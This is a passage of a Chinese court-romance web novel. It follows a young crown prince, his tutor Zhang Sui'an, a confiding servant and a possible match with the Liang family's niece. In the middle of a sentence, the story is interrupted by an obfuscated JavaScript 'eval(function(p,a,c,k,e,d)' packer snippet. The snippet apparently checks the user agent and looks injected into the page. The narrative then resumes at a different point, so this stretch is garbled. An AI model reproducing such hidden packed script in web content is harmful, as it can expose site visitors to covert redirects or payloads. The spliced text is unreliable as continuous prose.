张岁安拂起袖口,捻去那瓣落花,手侧不小心蹭到了墨污,也没注意去瞧。 付辕的目光跟随着那瓣落花,望向张岁安的手侧,忽然想起在张府时,张岁安用绢帕打湿茶水,替自己一点点擦墨的样子。 他像是被什么牵引着,抬手便捏住张岁安的手腕,用拇指轻轻蹭过那片墨痕—— 只是这样一抹,不仅没擦干净,反倒抹匀了……黑漆漆的一团糊在腕口上,有种偷鸡不成反蚀把米的尴尬。 张岁安转过手腕,这才发现了手侧的墨污,温声嗔道:“殿下,心思放在功课上。”说完,自顾自地将手侧的墨擦干净了。 付辕被他一训,心头反倒空落落的,埋头继续写功课,本就不修边幅的字,眼下更是写得群魔乱舞。 临到午时,日头大了,宫人们收捡起外头的木案,忙着在殿内布膳。 “殿下若是累了,今日就不讲新课了。”张岁安方才看着他那一手的狂字,看得也是头昏脑涨,“臣临了些字帖来,殿下先好好练字,别到下次又被夫子们说字不好了。” “你这就要走了?”付辕抬头咋呼一问。 这孩子刚回宫时,处处谨慎小心,如今放得开了些,也渐渐有了股山生野长的劲头。 特别是跟张岁安在一起的时候,语气呼来喝去的,放在民间倒也无妨,可作为储君,就显得有些失仪了。 眼见着被张岁安斜睨了一眼,他只能改口,换了个更得体的语气:“少傅不陪我用膳了吗?” 张岁安:“徐氏主母病逝,徐家递了讣帖来,臣与徐家虽还未成亲,但毕竟有多年的婚约在,臣当早早去徐家吊唁,以示哀悼。” 付辕垂着脑袋闷闷地不说话,方才还觉得饿了,眼下胃口顿时没了一半。 “臣以殿下的名义也备了一份赙赠。”张岁安郑重其事道,“徐司徒位列三公,如今他丧妻,殿下作为太子,需得多加抚恤,以慰臣心。” 付辕依旧垂着脑袋,装作若无其事,半晌才从喉咙里挤出一个闷闷的“好”字。 38. 夜梦 去景和帝处昏定后,付辕照例又往梁贵嫔所居的紫宸殿去了,如今梁贵嫔掌管后宫,他每隔三日也要去温安一次。 “儿臣请贵嫔安。”他依着礼数行礼。 这梁贵嫔寡言少语,平日除了琢磨些美食外,没什么其他爱好。她在赵氏鼎盛时亦能明哲保身,除了有大司农卿之女的身份庇护外,还在于她着实也没什么野心,膝下连个一儿半女也没有。 梁贵嫔刚尝完宫人奉上的甜汤,心情正好:“太子可用过膳了吗?” “用过了。”付辕特意扯了个谎,生怕又被留下来用膳。 梁贵嫔的侄女梁舒就站在一旁,每逢太子一来,她就要被叫上来,像吉祥物似的候在旁边。 这梁家的女公子与她姑母生得极像,都长着一张珠圆玉润的脸,一看就是未曾在吃食上苛待过自己。 “舒儿今日又做了些新奇的糕点,是用牛乳拌上栗子做的,甜而不腻,好吃得紧。”梁贵嫔言语间好似还在回味,“太子也带一些回去吧。” “谢贵嫔。”付辕躬身谢了,反正每次来,必是要带些吃的回去的。 梁贵嫔让宫人备好食盒,侧身朝着梁舒使了个眼色:“舒儿,去送送太子殿下。” “是。”梁舒应道。 两个半大的孩子一左一右往外走,干巴巴地局促着,各自也没有说话。 临到门前,梁舒的侍女才小声提醒道:“女公子,点心。” “哦。”梁舒这才反应过来,从侍女手里接过食盒,别扭地往前走了两步,低着头连对方的眼睛也不敢看,“殿下,这是臣女做的糕点。” 付辕朝常乐递了个眼神,常乐立刻会意,上前接过了食盒。 接完还不忘凑到他耳边,压着声音提醒道:“殿下每次拿了人家的点心,话也不多说上一句,陛下若知道了,怕是又要说您无礼了。” 他斜了常乐一眼,旋即转身冲着梁舒哑声道了句谢。 梁舒一愣,似是被吓着了,赶紧行了一礼,接着慌慌张张地往回逃了。 回承乾殿的路上,常乐捧着食盒,一路小碎步地跟在身后,语重心长,苦口婆心:“殿下,奴瞧着这梁家舒女公子性情敦厚,又做得一手好糕点,殿下在宫中,左右也是枯燥烦闷,又没什么同龄皇子相伴,何不与舒女公子多玩一会儿再走呢?” 不怪这常乐话多,他心下惦念着那干爹常玉嘱咐过自己的话,说陛下有意梁家的长孙女,让他跟在太子身边,多多撮合着些。 付辕没搭理,自顾自地加快了步子,两步并做一步走得飞快,风似的把一行宫人远远地甩在了身后。 夜里,殿中四下静谧,但心却怎么也静不下来。 付辕心烦意乱,在榻上翻来覆去地滚,觉也是睡不下去了,索性起来练字静心。 他临着张岁安给他的字帖,循着那熟悉的笔锋走,恍惚间,好像又回到了曾经在张府的时候。 夜里,他做了个梦。 梦中是那处书房,烛火映着暖意,张岁安坐在他身边,握着他的手,一笔一划地教他如何着力。 温热的掌心裹着手背,呼吸间,那人的气韵幽幽地绕在耳旁。 “小七,”那声音牵着他梦得越来越深,“这样是不是好多了?” 氤氲的迷梦好似一张网,漫着雾气把人笼在其中,混沌得让人醒也醒不过来。 晨光薄起时,他昏昏醒来,转了转身子,总觉得哪里不对劲。 蹬开被褥,低头看去,才发现腰下的亵裤竟然湿了一片, “……” 付辕腾地红了个半熟,眼底的惊愕不亚于见了鬼。 一直到常乐进殿来为他早起更衣时,他还僵坐在那儿—— “殿下今日不多睡会儿了?”常乐见他整个人凝固得宛如一尊石像,“殿下怎么了?是哪里不舒服吗?” 付辕啾一下回过神来:“没,没什么。”说完,清了清沙哑的嗓子,“你们都出,出去,我自己更衣。” 等宫人都退出殿门,他猛地掀开被子跳起来,见鬼似的脱了裤子,慌忙着换上干净的。 脑子一乱,也没多想,索性把脏衣裤团成一团,直接先给塞到了床底下。 可惜,此举弄巧成拙。 常乐收拾他换下的袍子时,发现少了一条亵裤,他知道殿下爱干净,每日的里衣必是要换的,这等私物向来马虎不得,免得哪个心思不好的宫婢拿去做文章,污了殿下的声誉。 于是赶紧上上下下地一通找,把殿内翻了个遍,最后幸而是在床底下找着了。 常乐松了一口气,用竹竿子把那截裤头从床底下捞出来,抖开一看,整个人顿时也是一愣…… 这种贴身衣物有了污,一般要么秘密清洗,要么烧掉,不然传出去,恐有污太子声誉,常乐赶紧按照规矩处理了个干净,心下又想起干爹的嘱咐来。 眼下太子殿下早熟,梁家女公子的事是不是也算能更进一步了呢? 常乐揣着心思,往院子外走,迎面就撞上了来赴课的张岁安。 “张少傅。”常乐趋步行礼道。 张岁安颔首回礼:“常内侍,何事如此匆忙?” 常乐是说也不是,不说也不是,扭捏半天,想着张岁安也不算外人,便才开口说了:“奴在想,殿下身边的宫人中,是不是该添位宫教姑姑。” 张岁安一愣:“为何?” “殿下如今个子长得快,方方面面也都长得快,殿下他……他……” 张岁安静静地等着他顺过这口气。 常乐声音压得低如蚊蝇:“殿下昨日见了梁家的女公子后,夜里……夜里遗丹了。” 张岁安:“……” 气氛一阵凝滞。 张岁安本想着太子如今还小,不用着急这些,可又转念一想,自己父母虽是晚婚晚育,但皇室一族却向来早婚,当年景和帝和陈皇后新婚时,也只比现在的太子大一两岁而已。 他转而清了两声喉咙,故作镇定道:“殿下正值年少,确实应当找个稳妥的宫教好生引导。”说完还不忘补上一句,“不过这等事需得隐秘,也辛苦常内侍在旁多多提点,切记不要让殿下因私欲而影响课业。” “奴知道,奴知道。”常乐听完连连点头,匆匆去了少府,把找宫教的事提上日程。 张岁安临到书堂时,正巧看见付辕埋头在案上写字。 这孩子皱着眉头,好似跟那案牍有仇,握笔的样子活像握着把刀,此刻正一笔一划地割着竹简泄愤。 张岁安没出声,轻步悄悄地绕到他身后,想看看是什么写得他这般振愤—— 凑到他身后一看,才发现他只是在临摹自己的字。 付辕动了动鼻子,好似闻见了张岁安衣袍上的熏香,怃然转过头来,目光直愣愣地落在张岁安脸上,半天没出声。 “殿下,臣的字有这么可恨吗?”张岁安笑着打趣道。 付辕脸色不大好,被他这么一说,又想起昨夜那个荒诞不经的梦,此刻脸上更是由沉转红,两股温温的薄红一路从耳根,烧到了脖颈后,整个人像是被那温茶的炉火给烫着了。 张岁安将手头的书箱放在边上,走到案边坐下,自顾自地开始清点起今日的讲谈文册,心下忽然想起方才常乐所言—— 眼前的这位小太子殿下也到了该懂些人伦的年纪了,作为太子傅,也当循循善诱,教教他何为阴阳正道才是。 “这几日的课后,殿下可温过书了?”张岁安翻开一册,温声问道。 “嗯。” “既温过了,那殿下不如讲讲,为何圣人说‘人藏其心,不可测度,欲一以穷之,舍礼何以哉?’” 付辕毫无灵魂,照本宣科地答着:“因为礼便是尺,是为约束人心中之恶欲,以求秩序之稳。” 张岁安瞧着他这副模样,忍不住暗笑,这可怜巴巴的太子殿下,俨然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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付辕死死地压着眼,眉心拧成一团疙瘩,连额上的那点红痣都像要被挤出血来:“谁说我心悦她?” 这个年纪的孩子嘴硬也属正常,张岁安微微一笑,温声道:“殿下放心,臣不会外传。” “……” 付辕被戳了半天的心窝子,当下是一点也学不进去了,把笔一搁,说自己头疼病犯了,疼得想吐。 太医章恒临危受命,又被传入殿中为太子把脉。 如今七皇子入主东宫,他作为曾经的佑炆殿专侍太医,也是步步高升,一听太子有疾,殷勤至极地就来了。 只是那脉象把了又把,别的没把出来,倒是把出来一股郁闷至极的无名火。 “殿下最近心火甚旺啊,可是课业太重了?”章恒问道。 付辕瞥了一眼侍候在旁的张岁安,沉沉地吐了一个“嗯”字。 “那臣替殿下开一剂清润下火的方子,除此之外,还请殿下饮食清淡,切勿劳思过度,劳逸结合,以解气闷之症。”章太医的方子不咸不淡,想来这个年纪的孩子,正是火气重的时候。 张岁安在一旁看着心忧:“殿下既然身体不适,那臣就与监侍说一声,停上两日课,让殿下好生歇息。” 付辕方才的一口闷气如今已被憋进了肚子里,化作满腹说不清的苦水,又见那人礼数规整得挑不出一点错处,只觉得心下更是又凉又空。 张岁安行了礼,不好再打扰,转身便要退去殿外。 “少傅。”付辕忽而开口叫住他。 张岁安顿住脚步,缓缓转过身来,以为他还有什么嘱咐。 付辕望着他,心里的话噎了半天,最后只字正腔圆地憋出一句:“我不喜欢梁家女。” 说完,赌气似的把被褥往头上一盖,裹得严严实实,闷头装作呼呼大睡。